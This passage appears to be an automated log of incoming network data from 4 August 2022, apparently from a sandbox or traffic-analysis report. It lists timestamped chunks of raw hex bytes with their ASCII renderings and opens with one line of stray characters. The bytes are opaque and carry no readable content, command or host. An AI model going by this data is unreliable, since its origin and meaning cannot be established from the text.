>\t#:}&JFe2gc)A(" @,=ptT_g8NaQ./&)}gD_B'-72Dt05q9Jn^4:Q
2022-08-04 11:37:02 UTC	1040	IN	Data Raw: 72 dc 93 ce d9 fa 84 ee af 1a 6b d4 ce de bf c5 92 27 7e 41 c4 e7 ac de a1 c1 10 7c 59 b4 ae f6 bd 5f ed 6d cb ee 54 bf 52 55 b1 f6 3c 15 ee 53 4d ba 13 c9 ea e6 8c 4a f8 01 93 ba 9c 02 cf ac ee 4e ea e2 36 92 e9 b0 5e fc ee a4 ab c4 c1 bc d3 b0 41 09 1e a5 85 13 29 a0 7d e4 97 7e f2 e5 e5 25 4b a2 f5 5e ef 14 7f e0 4d 12 d4 f8 03 2a 60 9b fc 63 4b 45 ab 39 8c dd c0 3b ae 2d 68 42 3b e8 31 7c 10 41 31 1e bd f3 c9 2f 5c 8a 18 4d 07 09 db 81 c5 6e b8 5b a4 ba a9 13 92 ae cd 96 e2 8b 91 89 01 7f 6e 45 a2 a2 f4 28 71 0d 76 8d 27 12 7d 65 31 a6 39 50 c2 09 bd 16 a9 97 fe 75 69 55 7a f7 94 99 c9 e6 6e b7 58 5d bd 76 cc e9 f7 62 76 12 7b 7d 62 16 f5 ee 5f 25 2b 29 7e 8b 5a db dc bb a7 c4 5f 9c 5c b7 76 b3 62 eb f0 55 9c 82 bd 4c d1 d2 a6 e2 ed 4e e5 d5 7a cf a7 Data Ascii: rk'~A\|Y_mTRU<SMJN6^A)}~%K^M*`cKE9;-hB;1\|A1/\Mn[nE(qv'}e19PuiUznX]vbv{}b_%+)~Z_\vbULNz
2022-08-04 11:37:02 UTC	1056	IN	Data Raw: fd 5f c9 fd d2 dd d3 ca be f3 df d2 8d 17 05 d5 b6 09 0f 4c 21 da b6 ea 9e 1d 4a bb 34 9e 92 ea 0f 89 7a 5f 09 3c 71 23 a4 f1 01 31 9d d2 18 9c 7a dd 38 3b 12 d9 52 0c f3 51 97 b9 51 2f df 53 85 a5 14 35 9f bb e5 bc 25 fa 29 04 2a f7 a6 2f c1 89 36 fd 4e cd ac a3 12 45 8a 19 ec 95 cb 66 d1 5a cb 7f 32 7b fd 59 42 49 57 88 70 67 52 77 e2 c1 06 8f d0 bf 95 f1 d9 44 c4 fb 8c b8 e3 d6 43 ed ae 93 4b 4d c3 dd ba 42 79 bd a5 d1 99 91 02 6a 14 08 bf 9a b1 4b 71 75 59 e3 e4 ea eb dd b7 1d e9 2e 12 f9 ac 27 b6 bc 4a ce f7 27 7e 0d f6 44 28 0b 51 7e f9 0a 4b d5 9d be de f9 5e 9d 42 2e 95 19 ac d3 b5 28 93 c5 48 11 e7 da 9c 57 6c 7e 25 8b 1b fc e7 69 df 6c c4 4e c6 ae 74 4e d9 0b dd e7 7a b8 0d f4 fa 61 07 e9 10 10 45 03 2f 9d 51 a4 48 3e a4 0c 12 e4 cb 1c 5b c5 2e Data Ascii: _L!J4z_<q#1z8;RQQ/S5%)*/6NEfZ2{YBIWpgRwDCKMByjKquY.'J'~D(Q~K^B.(HWl~%ilNtNzaE/QH>[.
2022-08-04 11:37:02 UTC	1072	IN	Data Raw: 5c 5e c9 7d 6c fc 96 62 e9 d6 17 41 44 20 27 2f 94 aa 54 cb a4 f1 21 c1 3a e9 a8 90 a4 5e 8a a1 11 cb 20 5a ea 62 0c c1 b2 92 7d 66 ee 2c 09 d0 7a 12 e7 0b 5d dc d5 3a 0e 91 45 ec 7b 72 7a 08 84 07 f7 34 c8 54 ef bd 7e 1f 5a dd 51 10 a5 f2 85 9d 9c 99 2e cf 08 c2 78 89 f9 f5 2e dd e9 2e a1 8b 3c e6 d3 ee 99 31 2a e4 e1 f0 e1 c2 29 d6 1f c2 f3 10 5f 96 3e df 3e ac 53 a7 dd ba 84 fd f1 71 8b 89 c6 6a e4 62 4e 71 81 42 cd f0 5c 96 5b 5a 9f ab 39 82 61 d4 6d 74 82 45 2b 03 d7 14 2f 5e e2 98 3e 10 91 a2 c9 d7 72 fa b5 59 92 4e e8 cd c5 c5 fa b6 0a 49 b0 5a b7 1e 4f a8 e4 73 4e d7 bb 65 ab 71 9b 09 de 3a a9 6c cb e0 d6 49 7a d1 3e 45 88 a8 a1 a4 ea 52 24 bf a0 c9 81 5f ed a8 82 e4 bf a5 82 7e 8d 5b 6b f1 1f 5d 03 3a ef 09 a0 c2 77 f1 79 69 62 08 75 14 54 9d 2b Data Ascii: \^}lbAD '/T!:^ Zb}f,z]:E{rz4T~ZQ.x..<1*)_>>SqjbNqB\[Z9amtE+/^>rYNIZOsNeq:lIz>ER$_~[k]:wyibuT+
2022-08-04 11:37:02 UTC	1088	IN	Data Raw: 74 1f a8 32 87 8a 0e d7 f9 f1 0f 86 30 a7 24 fd 14 9e 2f c2 90 e5 d4 a8 c8 05 ec 14 89 90 02 ea 12 69 e6 da 7a 5b 31 ac 4b 27 c6 7d b6 45 bd d3 35 12 29 fe f1 08 3b 39 1c 7e 75 66 65 4d ab 0b 9f 26 dd 14 2d 9c 7c 27 e7 c4 13 c4 ff 39 c8 2b 88 37 eb 95 51 ae e9 d5 b9 76 d2 7a 28 84 ec 95 46 68 90 84 39 21 e3 92 09 e6 aa 2d a1 18 8d cb 9d f5 16 97 95 f1 5a 3d a5 ea f7 c7 07 25 70 79 94 cb e2 ee 88 47 79 2f 51 0a 4b 7c f2 e8 64 89 29 e6 fe a5 c1 41 2b 02 72 23 96 16 ce eb 3d a6 3f e1 cd 7a 2d 11 7f f8 54 a5 fe 17 32 a8 55 a2 cb 10 41 33 4a 02 fb 44 6f ee 20 bc 8f e4 be fd c0 92 13 59 b9 9d d3 eb 52 2e bf 8a 1c 5d 63 4a f8 32 b2 c5 91 4f f7 6b b9 7a d7 ca ac 16 41 21 be 09 21 ee dd 94 1f d6 37 8b 62 5e bd 0b d3 ba 37 9a e0 2e 77 67 42 95 7e f3 24 57 ea 40 13 Data Ascii: t20$/iz[1K'}E5);9~ufeM&-\|'9+7Qvz(Fh9!-Z=%pyGy/QK\|d)A+r#=?z-T2UA3JDo YR.]cJ2OkzA!!7b^7.wgB~$W@
2022-08-04 11:37:02 UTC	1104	IN	Data Raw: 7c db 6c 74 f5 bd c3 ab e2 e6 7e c4 72 75 32 da e2 cb ba 98 ec c7 9f e7 2e 93 c3 f2 2e 92 ac 45 5b ca 3a 4f a1 6c 2a bd 5b d3 f8 5e 5b 75 73 bb f3 f8 2f 29 fe 43 27 77 e2 1d fe 96 f2 7d ba e1 54 80 63 21 fd d5 f8 01 d0 d6 2d ef 56 d2 26 43 25 c1 28 e7 3b a3 0e 92 b8 8d e2 04 55 1e 9d 9d d6 77 6b 62 52 56 26 c2 29 37 d6 a7 53 c2 78 1a f5 53 c1 2e 79 4b f5 8b 33 7d 14 ca ef 2f bd 78 de a9 b0 89 01 f4 04 9b e5 f9 f8 c2 8b 0c 24 55 38 db 21 fa b4 6f 49 57 a9 6a de 0a 52 79 7d 52 df 32 f1 d7 4c b8 b5 fc 56 6b d7 98 18 63 65 95 c5 f2 a2 a7 4a e7 a3 23 97 f3 90 c8 27 13 e1 f2 0a 83 44 8b 28 fa 81 d5 d8 d4 95 71 53 d3 27 36 fd e5 3e e0 28 79 b8 13 4a 3b 09 60 23 d6 54 70 2b 26 92 42 0b 95 a5 ad 06 7c bd 58 29 3e 9f 0b 1e 54 35 7a 19 85 01 38 1b f4 eb 69 09 3a 8a Data Ascii: \|lt~ru2..E[:Ol*[^[us/)C'w}Tc!-V&C%(;UwkbRV&)7SxS.yK3}/x$U8!oIWjRy}R2LVkceJ#'D(qS'6>(yJ;`#Tp+&B\|X)>T5z8i:
2022-08-04 11:37:02 UTC	1120	IN	Data Raw: fe ff eb bc 38 ee 26 f8 18 15 49 77 14 b6 03 85 15 e9 ba e5 8b ff a9 ce 5c e7 85 ee b2 bc 90 a8 00 fe 0f c9 76 7c 9d 9a dc 62 72 24 04 27 05 30 61 c1 33 1c 00 52 eb 8f 3a 96 54 89 ab a2 b1 00 f6 ee 67 c3 76 49 12 0c 0d 30 a2 88 6d 03 dc 82 e0 79 63 6b e0 42 56 29 48 25 5b f4 2e 47 cc 40 09 1e 6f 14 0c 18 c6 55 a4 ec bd ab 28 0c 10 ad a2 0f 15 c4 50 61 a4 70 61 77 10 26 cc 16 c0 4a 76 00 ce f3 35 04 79 82 e9 d8 28 d9 f1 8c 10 63 06 12 0d f6 2b 01 04 9d f4 34 b9 5b ed ba 82 2e 2f 13 df 65 e0 42 da 2b 0f d0 c8 6c e1 3d 2b 07 b2 35 3c 34 af 3e 1b 65 02 1c 85 db e9 0c 29 43 e8 be b4 24 5a f3 ad 01 78 c8 45 30 e4 e8 1b 70 a0 a8 41 89 78 cb 00 bf ef f2 ff 13 72 5a cd 09 9f d5 c0 7b 64 84 14 4f a9 6c 08 00 79 de 43 a3 e8 0b 99 9a 81 0b 5c f9 65 64 fd 45 ac 25 d9 Data Ascii: 8&Iw\v\|br$'0a3R:TgvI0myckBV)H%[.G@oU(Papaw&Jv5y(c+4[./eB+l=+5<4>e)C$ZxE0pAxrZ{dOlyC\edE%
2022-08-04 11:37:02 UTC	1136	IN	Data Raw: a8 ce 2e 14 32 2c c0 4c 04 75 f9 06 87 75 c1 17 00 c6 1f 5e ab 01 c3 c8 8a 0a 23 1e cd c0 bc f9 18 86 1a b7 32 31 b8 54 04 91 39 00 41 8d 91 2d 3c 07 74 80 7a 43 ee fb 0c 42 22 3d b1 32 52 2e 87 a5 f8 80 73 3f a0 78 fb ff 30 ec f0 14 85 88 68 18 f1 52 31 30 98 2b 2a cf 5d 94 c4 c9 d7 51 88 75 c4 03 1b af 63 1e b0 18 80 92 74 b5 3a 32 9a 94 3f 0c 1c 60 e8 5f 9c ef fa 0a 8c 3d c6 ce c0 3c 31 de 68 81 72 41 a2 3e 91 80 88 df 63 f0 29 94 ac 37 3c 47 6f 00 4a 91 d3 20 a0 08 65 5f 21 e4 06 02 ce 4e ac 46 10 a7 2b 00 56 1d 74 df c5 07 a4 84 03 9d 79 4f d5 5a 6f 85 31 01 06 1f 35 06 3c ce e0 4c 21 d0 97 71 c6 44 ea a8 c8 a2 f7 cd 2d 26 23 2d 94 65 9f ee e0 4e 06 8e 96 13 09 c8 ab 9d 81 3b 8c 84 8b 4c 2a 7f 96 12 40 29 95 6a 61 ff 21 fe 6a b7 83 5e 0b 15 c6 fe ba Data Ascii: .2,Luu^#21T9A-<tzCB"=2R.s?x0hR10+]Quct:2?`_=<1hrA>c)7<GoJ e_!NF+VtyOZo15<L!qD-&#-eN;L@)ja!j^
2022-08-04 11:37:02 UTC	1152	IN	Data Raw: f0 51 5f 90 a1 75 39 4a 24 2d a3 3b d0 52 29 fb 4d ec f5 95 f1 f3 92 5f 87 ca d2 01 ea 94 dd 93 c5 28 6f 4f c0 e9 36 80 01 f0 41 b4 8c b5 4c e1 bf b9 8a 25 66 0f 25 c2 67 0b 27 ff 9a 1f fd f0 5d 5f e0 a6 f2 2b 20 f5 10 08 82 05 67 01 71 14 69 57 ec 92 2d e2 10 67 71 2f d1 4c 89 44 08 dd d8 d7 b7 54 c8 5b f1 21 de 67 86 4e 16 80 a8 e8 a1 f2 10 3b cb e2 48 63 27 d6 5c fa 79 ef 3e b3 20 96 af 23 ec e7 cc bb 2d 36 2b ad 4f d3 ba 65 90 a8 0f c5 01 fa aa 29 42 3d c5 85 c8 08 a8 cb e4 75 f5 b1 5d cd 09 2e dd 38 28 ad 4a bb 95 2f ba 57 31 bc 48 e4 a7 ad 27 25 e4 3a 4b 0b 02 b2 f8 40 59 5f ce 69 25 29 fa ee 44 a2 1c 57 94 6c b5 ec 11 25 ef 20 67 24 96 cf ee 8b 98 5b a5 84 28 34 b6 8a 1c fd 41 09 7e df fb 65 3a af 52 a7 ab 8a bd 41 8a 28 f4 b4 ee d9 14 2e aa 0f db Data Ascii: Q_u9J$-;R)M_(oO6AL%f%g']_+ gqiW-gq/LDT[!gN;Hc'\y> #-6+Oe)B=u].8(J/W1H'%:K@Y_i%)DWl% g$[(4A~e:RA(.
2022-08-04 11:37:02 UTC	1168	IN	Data Raw: 8e ce 8a 5a 17 a0 b1 0a b7 7c 2a 68 ad cc 2e d7 c9 e4 ff f4 14 cc b4 f5 0f 6d 96 e1 60 d3 98 df 31 41 c6 6f d8 7d c7 97 d3 4d 2e d9 5a d3 87 1b 1d 11 27 d8 d6 58 c1 a3 b5 dd ab f1 3a 2b 9c 64 09 5a d9 e6 e9 62 66 e7 3f 5d 16 30 bf 64 d9 5e dd 8a 3f 5a a3 98 3f 21 db fd 89 d2 f3 f4 4e fb dd 00 2f ed 00 97 bf 25 8b fe 74 85 34 93 aa f4 1b c2 95 54 29 5a 54 05 04 ea 75 bb a8 1e a7 75 20 32 85 d0 df b8 ef 01 ea 9d 32 5b dd 09 f0 d5 6e 4c 49 f7 ee 85 c5 20 99 7a 3e b9 4c 84 01 ee 81 a4 16 9c 7a e9 c5 9f 93 ef eb 74 50 af b6 63 4a 99 c6 7a ec 66 4f b2 ca 91 d4 19 89 f2 cc db 6e c4 42 ee 39 c9 62 02 92 fb 74 d7 24 32 ba 61 e1 c9 20 0c ec b4 af ef 4b da 57 94 d2 52 ea 62 77 97 e6 5e 71 24 bf 54 56 8a c4 06 c9 64 d2 ae e6 3d 5d ba cb e1 b1 c4 e7 68 5d 82 8a 34 24 Data Ascii: Z\|*h.m`1Ao}M.Z'X:+dZbf?]0d^?Z?!N/%t4T)ZTuu 22[nLI z>LztPcJzfOnB9bt$2a KWRbw^q$TVd=]h]4$
2022-08-04 11:37:02 UTC	1184	IN	Data Raw: e3 54 45 7e 99 99 ad 70 02 5b e9 fc 5a a7 7b b0 e1 f6 04 9f 9c c3 9d 08 75 86 d0 c7 90 a7 23 12 c0 ff 28 d2 f7 9f 57 96 c3 c8 5b 0d 84 66 8b 11 b1 1a 37 a2 16 41 5c 02 22 22 e9 21 6c 1a 5e 08 8d c8 2b ec d6 da 36 4a c8 77 d4 8f 72 62 4b 75 14 d8 b4 81 2f c7 9a 13 e2 2d c7 33 0f 5a b1 ea 92 06 f3 09 f1 f7 8b 1c 57 84 ed d4 aa a6 29 5a ad 51 25 ee 77 4e ec 5f c0 fe 2d dd 6e a6 4c 5a 28 28 f4 42 10 4b 72 c7 0f ec 50 91 45 a5 7f 05 d3 f7 dc b5 12 bd fa 1e d3 aa bf dd 36 3e b6 57 12 e3 88 a2 f2 d0 84 32 c3 06 ff 7d 45 e1 2d c2 f9 7e b5 52 c2 76 49 1c c0 6f e2 a3 cc 41 64 69 12 5b c9 2e bc f0 4b ae 39 77 6f c5 b2 9d c6 2a bc 21 5f ba 28 1f cb 8c 4a ec be 2c 32 44 2b 29 11 30 15 35 8a 84 ec f0 54 01 27 fc b8 66 31 df 9a 53 9c 6c 4e e9 e3 f7 32 42 40 de ff 4d 2f Data Ascii: TE~p[Z{u#(W[f7A\""!l^+6JwrbKu/-3ZW)ZQ%wN_-nLZ((BKrPE6>W2}E-~RvIoAdi[.K9wo*!_(J,2D+)05T'f1SlN2B@M/
2022-08-04 11:37:02 UTC	1200	IN	Data Raw: 77 2b 8d e3 7e 5c 07 96 c6 e8 37 a2 f6 77 76 65 5a 5e 74 2f b2 c1 7d fb 42 2d fb c2 a1 0e 0a 01 cc d6 16 c0 49 8b 1b d5 6c e0 b7 3a 0a d1 a2 42 ee 90 54 af 5a 75 11 ec 04 38 3a b5 af 70 d0 21 de 41 b5 c2 6f 70 dc b4 db 5a 43 2f b0 c9 a2 61 9d 14 48 76 e3 89 4d 2b fb 09 b7 ee 5d 94 08 82 f0 f4 5c 78 f6 90 9d e5 41 bf 56 5f 5f 84 51 a2 91 93 84 d7 0b e6 d6 0b 16 56 e3 c9 a9 23 d8 96 97 d4 40 ed 7e 3b 39 eb 6a a7 be 21 c5 9f 35 af 6e bd e4 7f 9d 59 ad 89 c5 f0 51 ce 6f dd 53 d9 e6 ce 4d ee d3 8a a7 59 3e 89 8b 5f e2 06 6e 34 bc ce 26 b2 5b 4a 66 8b a6 4f c4 71 be 69 e5 6f bc c9 b4 ac 5b 4e 74 a8 ea f3 c7 92 ff 77 db f7 0e 09 5e d5 70 f4 10 a5 54 2f fd 25 f7 e8 be ca b4 2a c2 14 9d d0 f7 e6 f5 bc 2c e9 5d d9 a7 84 08 ff e3 a8 58 a8 02 b3 5a 12 65 bb cb 8a 05 Data Ascii: w+~\7wveZ^t/}B-Il:BTZu8:p!AopZC/aHvM+]\xAV__QV#@~;9j!5nYQoSMY>_n4&[JfOqio[Ntw^pT/%*,]XZe
2022-08-04 11:37:02 UTC	1216	IN	Data Raw: 4b e9 db 3b 9d cb a4 6c 6f a5 5d 9c 6a d7 72 ac c8 e4 94 6f 09 eb f0 f5 f1 a4 68 c3 64 c3 88 51 8b 68 09 13 f1 44 2d aa e8 e0 e1 09 fb 9f 2c c2 67 5f cc 0a 91 1d b2 48 c2 f7 ee 2b 50 2d 7d 44 2e 8b 31 4e a2 7d a1 f9 17 3f 10 2c d8 a3 01 d5 bf d9 5c a7 14 fc 0a 64 e3 d8 3c c3 4f 3f b6 e6 5e 8a 06 4b d9 6a 20 49 ed bd 42 49 ba db 58 dd 24 09 d0 84 12 f3 bc c9 42 c4 c9 cb 71 6e 44 e2 ba b8 6c f4 c9 3a 7b f2 74 c4 f4 20 af 67 44 09 57 b2 67 41 62 75 53 36 21 13 94 01 d0 75 04 1a fd 28 41 77 e4 97 06 c4 bf 28 93 e8 f5 3f f9 09 d2 ae cb d0 50 f0 08 0d 88 39 45 65 ed 67 04 4e bf 98 61 c5 50 7c 07 29 48 d7 10 05 e8 45 31 75 ce 00 77 5c 90 30 f5 45 a3 09 f8 aa 64 7e ae 71 1a c1 1e 23 76 05 ce 45 21 31 ab ca d1 4b 33 24 09 f4 ff 2d 12 3b f2 7d 93 b5 ca 7f dd 01 54 Data Ascii: K;lo]jrohdQhD-,g_H+P-}D.1N}?,\d<O?^Kj IBIX$BqnDl:{t gDWgAbuS6!u(Aw(?P9EegNaP\|)HE1uw\0Ed~q#vE!1K3$-;}T
2022-08-04 11:37:02 UTC	1232	IN	Data Raw: f4 b6 2c 4b a6 d8 61 66 c4 29 19 2e 64 a4 af a6 b8 5b ea 3d f1 32 50 93 44 e5 31 de be 8a 49 4b fb 31 0e ec 88 2b 8f 8a 28 ed 3e 3c 21 1e cb eb 98 ba ed bf 76 a5 c9 7d e6 37 9f 76 5b 39 ce ca 77 3d cd 4e cb 70 5f eb 72 52 ef 51 2b 9e f9 bd 14 c2 7c c7 e4 b8 fc a2 f7 79 8a 97 c5 af 22 8d 05 f3 2c 12 80 8b 34 51 e4 29 0c 94 5e 04 ff 99 07 52 f2 c2 93 c5 54 f8 7a b5 b6 be 58 56 5f b7 06 12 21 fb bd 3c 96 ef 21 81 16 9c fb a5 fe a1 ec 7e ce 5c 4b 12 57 bc 16 a2 f5 6c 35 2a cd 90 18 fd 3a 89 f2 f6 e5 86 a7 77 99 ec cd 26 01 5e 61 c6 ed 80 09 3a e4 66 ea b5 32 81 75 c4 c4 5f c5 e8 3a a5 fe 84 c5 af 2d a8 2a bb 64 11 84 fe a3 60 ca c8 7e 64 40 bb 38 9d 01 d9 f0 c6 12 0d 27 cb 13 c2 10 b8 da f2 e8 81 5e 41 8a 0f 7e 88 f1 92 95 39 aa cd 49 66 6f 99 33 2e a8 bf 5b Data Ascii: ,Kaf).d[=2PD1IK1+(><!v}7v[9w=Np_rRQ+\|y",4Q)^RTzXV_!<!~\KWl5:w&^a:f2u_:-d`~d@8'^A~9Ifo3.[
2022-08-04 11:37:02 UTC	1248	IN	Data Raw: 85 ec 27 d7 89 cf 89 9d c7 22 1d 21 fd 5b f6 28 4e c5 62 13 29 aa dc 4b c0 95 f5 3b 08 f9 21 d8 7e a7 c8 28 dd 53 27 31 c7 54 a2 52 23 4a 41 09 8c ba fd 29 cb e9 56 fd cb e5 13 0a e0 20 76 93 cd e1 53 6b e8 f9 b5 eb 74 10 ae 13 05 2d 86 6c 0b a4 bb a3 ff 4e ad 3a 2f 5f 5e 65 c0 f1 19 c6 d8 52 2a 9e 43 40 89 e8 fd b2 65 d7 ee 0b 4a f3 32 37 ce 5f 54 3d 72 f5 ee 2e b4 09 49 d4 2b 13 08 b8 69 9c 42 cc 1b 20 54 fb e2 b5 90 aa b2 e2 98 1a ea 66 fa 6f 5f 17 13 c8 fe 70 5c 44 29 3a b5 79 84 bc 89 84 28 9c 04 cd f7 bf 16 33 be 28 db f1 97 d4 af 5a c1 74 df 7c b0 a5 49 23 ce dd 64 2e 90 7d f3 39 cc 38 35 25 08 59 2f e4 37 53 84 2b aa 75 c4 ae dd 20 2b 61 a8 c9 20 09 6b b1 65 2b aa 63 56 e5 4f cd 0b 30 21 f9 d7 94 8f 33 97 24 e5 ba 1a 76 da 55 54 3a 52 5d f3 e8 62 Data Ascii: '"![(Nb)K;!~(S'1TR#JA)V vSkt-lN:/_^eR*C@eJ27_T=r.I+iB Tfo_p\D):y(3(Zt\|I#d.}985%Y/7S+u +a ke+cVO0!3$vUT:R]b
2022-08-04 11:37:02 UTC	1264	IN	Data Raw: 28 e7 58 26 69 a1 21 e6 2b e2 05 27 f8 5d 39 40 e9 37 68 4a e8 ce e5 be 13 fa f9 60 d6 f6 6c 4e ee 82 73 ee ce 1e cb 86 c8 55 ec e0 95 75 9a 5e 42 0e 57 de c1 40 3e 0f 86 11 b7 18 7d 72 db 2d 01 66 fe 1b 45 e7 fa dd fb 2b e1 de 27 4d 7d 4f c3 fa 29 13 7a e0 63 c5 b7 f6 03 eb 5d 08 41 5e 64 c7 bb a8 dd b5 f2 f0 2c cf cb c9 09 b4 db cf 25 fe 10 e4 f1 cd b1 a5 a4 32 33 de 7a 39 5e b7 32 4a 4b c6 cf 7d 65 1c a7 e5 50 2d fb 01 12 ef 65 6a 64 c3 0e dd 4d 7e af 6c f8 81 fe fb 3f 28 c0 c6 9d ff 96 67 d0 9f 41 16 45 03 bf 21 d3 25 88 7e 38 57 31 7a ee 97 7d 34 b9 4b 0d cc 41 cf 9d 46 ca 5b 44 be 2c 3a f6 9b e9 13 f5 ff dd c2 28 f3 d2 fe 53 cf fb 8a 67 4e cc 4f 05 5c 10 67 e4 af b8 9b a1 09 f5 2b 9d 74 2a 36 4d ba 4c 09 a6 9d bf 4f bb 35 78 ea 13 28 ba 64 8e ed c8 Data Ascii: (X&i!+']9@7hJ`lNsUu^BW@>}r-fE+'M}O)zc]A^d,%23z9^2JK}eP-ejdM~l?(gAE!%~8W1z}4KAF[D,:(SgNO\g+t*6MLO5x(d
2022-08-04 11:37:02 UTC	1280	IN	Data Raw: ef 5a 20 d7 db 30 24 88 6d 48 bb 62 bb ff 39 09 dd 50 c2 41 30 32 ff 8b b9 df ee f5 2a f7 90 58 bf 05 67 e9 ee b7 83 2d ed ec 4b 45 40 93 72 e3 ef 65 42 fc 9b a1 c0 12 39 4b 96 a5 07 2e ce 45 12 e8 88 fd 8d d3 be e2 b3 8b f3 31 15 d7 7e f2 a8 d2 a9 1d 88 08 c9 5d 31 b9 12 6a a3 06 93 b7 35 25 d7 7c 41 c1 41 03 13 20 26 69 12 fe 77 05 49 05 20 d3 c7 a5 d1 bd 93 31 bc 9e 2c d8 25 af d9 27 4b 46 52 98 8e 16 21 11 49 d9 4c 2b fb 65 06 ee 65 a4 fa 12 56 b8 8b e4 84 d6 8e 58 4e 75 23 fe 15 b9 67 5f bc 87 b4 be cc 91 d1 95 f1 ed 4b 9a cb 62 32 75 09 0c d9 0d 69 d7 89 91 57 f3 b2 09 25 01 f3 a2 25 5e 1d c2 29 c0 fb d0 94 35 52 09 4c 09 d8 7e 36 a7 5e 39 2d 0b 21 f5 e6 50 c6 1b 63 0b ea 64 cb 26 cd ff e2 8c cb 25 e6 16 bf 32 53 7d ec b1 27 e5 40 9c 46 2d 01 0f ff Data Ascii: Z 0$mHb9PA02*Xg-KE@reB9K.E1~]1j5%\|AA &iwI 1,%'KFR!IL+eeVXNu#g_Kb2uiW%%^)5RL~6^9-!Pcd&%2S}'@F-
2022-08-04 11:37:02 UTC	1296	IN	Data Raw: 2b 08 be fc a0 a0 45 33 4d e1 2f ea 38 36 0a 87 81 07 32 b1 d5 0f 78 56 c8 37 42 29 0e 91 5c b3 28 e4 90 2a c9 29 7d f9 e5 eb 72 0e 97 77 90 c2 ed 4f 1c b2 e2 66 71 40 b8 e6 3e b3 92 69 5c 5f 60 7e 40 88 b0 c6 2f 80 e7 73 d9 25 44 a0 16 d3 28 9c b2 cd 49 35 5e 8b aa 5b ab 68 a4 66 f4 3e bd 76 dc 69 1a b7 15 e1 20 47 2f 8a 1a 77 3a 00 3c 1f 84 42 41 1a 3a 08 3a 4c 58 40 b6 95 5c 1f 6a 54 4f a4 28 31 8a af 96 ba d9 ea 2b fa 44 d8 c3 55 af d9 36 2b e2 f8 c4 2b 02 bb bc 41 b4 f8 1f 4b ba 8a d5 20 4c 90 80 4a 3b fd 3d f4 31 b9 63 1f 2e e8 ed a6 08 5e 1a ec 9c 4a ea de 90 59 6f c9 17 9c 0c 3e 44 03 cb bb ca 9e 4b ef ce 71 25 13 d4 c7 d0 e5 e0 2e 6d 65 bc c9 31 25 39 01 ff 10 0a 02 ea c8 09 8d 66 b1 e2 29 14 a8 e5 2b 10 89 3f 42 6a de 1d 48 df 84 66 ff 33 ab da Data Ascii: +E3M/862xV7B)\(*)}rwOfq@>i\_`~@/s%D(I5^[hf>vi G/w:<BA::LX@\jTO(1+DU6++AK LJ;=1c.^JYo>DKq%.me1%9f)+?BjHf3
2022-08-04 11:37:02 UTC	1312	IN	Data Raw: 9f 75 1e 50 95 5e ba 52 b1 02 3a 7a cb 34 16 41 33 14 ea 25 d4 7d 90 d4 e1 21 3e 2b be 2c 63 06 08 38 c2 74 03 78 41 29 70 7d 85 49 1a c9 7f 09 3e 55 c5 8f 09 33 31 7d 59 95 c5 37 eb 3d e1 27 09 4e ee 8b 98 4e af 92 48 c9 f5 ec 34 38 f6 ee 92 8e 37 ae 8a 4e 6e e0 aa 32 0e 44 d8 8e 7c 6f 2a e2 f2 4b f9 d7 59 c9 6b 9a 41 e0 a7 f9 9f 92 e0 d3 44 fb 01 2f d1 40 88 ce 30 0b e6 4d 3f 0f 88 07 82 d2 20 e9 22 d4 36 7a d7 53 42 4b 7b 3c 3d e7 81 b2 da a6 68 9c 45 30 aa a5 13 af 56 5c 52 d1 0b 6c f6 d8 17 c6 55 5f 01 d9 ff 05 a2 ae e3 25 9e a1 09 21 0f 7f 45 7b b2 ae ce f7 8b 87 d4 ba 54 70 07 e1 12 75 36 b5 61 8d e1 2a bc da e5 eb 8b 16 c1 89 c0 df ff 18 30 95 df 3b 50 c4 43 66 a8 fc b0 56 76 f7 4c f3 02 b4 be f7 5b 89 4c 5d 4a 33 d4 c3 17 ec 2d a5 2e e8 a8 d2 17 Data Ascii: uP^R:z4A3%}!>+,c8txA)p}I>U31}Y7='NNH487Nn2D\|oKYkAD/@0M? "6zSBK{<=hE0V\RlU_%!E{Tpu6a0;PCfVvL[L]J3-.
2022-08-04 11:37:02 UTC	1328	IN	Data Raw: 05 8b 07 32 cf 75 4d 01 c9 70 56 9f a3 41 29 c9 25 12 f7 f9 db 42 e9 3f 98 e6 ee 29 5b 07 f2 78 d3 84 20 fa 70 76 4c 89 cb b5 56 82 cb 77 31 fd c1 6a 99 ca 0c fd 31 4a d9 9d e9 3d 0e 24 21 96 12 31 13 69 d2 14 55 7d db 84 a4 da 89 21 da df ba 23 b8 39 ef 3f 86 49 f1 d2 93 b1 c2 3d b6 8a 02 b4 70 4c 63 5b 28 a3 47 c2 2a ff e2 54 5e 5a dd 4d ab 16 49 fb 9d 66 7b 32 2d 0f 04 e9 fb f7 31 d2 ea d2 c6 12 77 14 80 25 b7 11 67 38 3b 95 c2 05 39 20 02 1c e8 ff 31 8e 30 8f fc ad 7c 53 60 c0 48 29 ca 94 3d eb 50 d6 9d 4f 47 92 09 b8 81 e5 56 89 b2 bb df a0 0c 0e 4c 09 c2 77 10 95 16 00 99 c7 bd 5d 9f 84 f0 01 21 21 f6 3a e9 3d d2 ff 1c 2c ef 5d 16 ed 2c 33 0b ff 43 01 f0 7f 46 95 32 81 77 73 63 bf 50 61 2b 5e 0e 98 6e 4c 25 01 c2 d9 a0 48 a8 25 94 11 45 12 43 8c c0 Data Ascii: 2uMpVA)%B?)[x pvLVw1j1J=$!1iU}!#9?I=pLc[(G*T^ZMIf{2-1w%g8;9 10\|S`H)=POGVLw]!!:=,],3CF2wscPa+^nL%H%EC
2022-08-04 11:37:02 UTC	1344	IN	Data Raw: 09 e8 58 01 7f ef 97 7b db 94 e3 5d b4 75 ea fe 42 7b 09 fa 9c 00 f7 0d 91 31 5d 5a e9 d6 b8 b9 89 eb f5 94 1a 5b f4 65 0f bb 8f ad 4a e6 24 16 89 c2 ee 64 94 fe c8 6e c3 bd cc e4 95 91 ba ea ea 79 46 61 41 09 3e ea d5 51 33 eb f4 00 5a d0 b4 b5 fc 52 eb 7e 91 c2 21 c5 c5 aa 92 e5 bb cd 2c 3a 82 be f1 5c a0 51 f5 33 31 09 01 e8 5a 75 6f 01 17 0e 88 00 0a 9d 16 44 37 21 0e 6b 23 03 80 c5 bf f2 fc d2 ea 29 9b 3a 94 2b aa 34 56 c1 46 1c 24 e9 fe 68 86 f4 75 24 e8 b3 41 40 e1 b4 3a e1 66 2b e5 ec 2e ad 43 c4 89 f6 ee 96 8f d4 bf 5b 4c af 7c a2 c4 e0 ea a3 ad 96 d9 29 ec f2 45 2f 28 26 75 b2 6a 5f 4c af 4b ea a8 6f cb f7 f1 4e 44 e8 e7 93 4b ff 75 5a e8 53 4f f6 7a 4a bd 46 d2 12 7d d9 09 3c d7 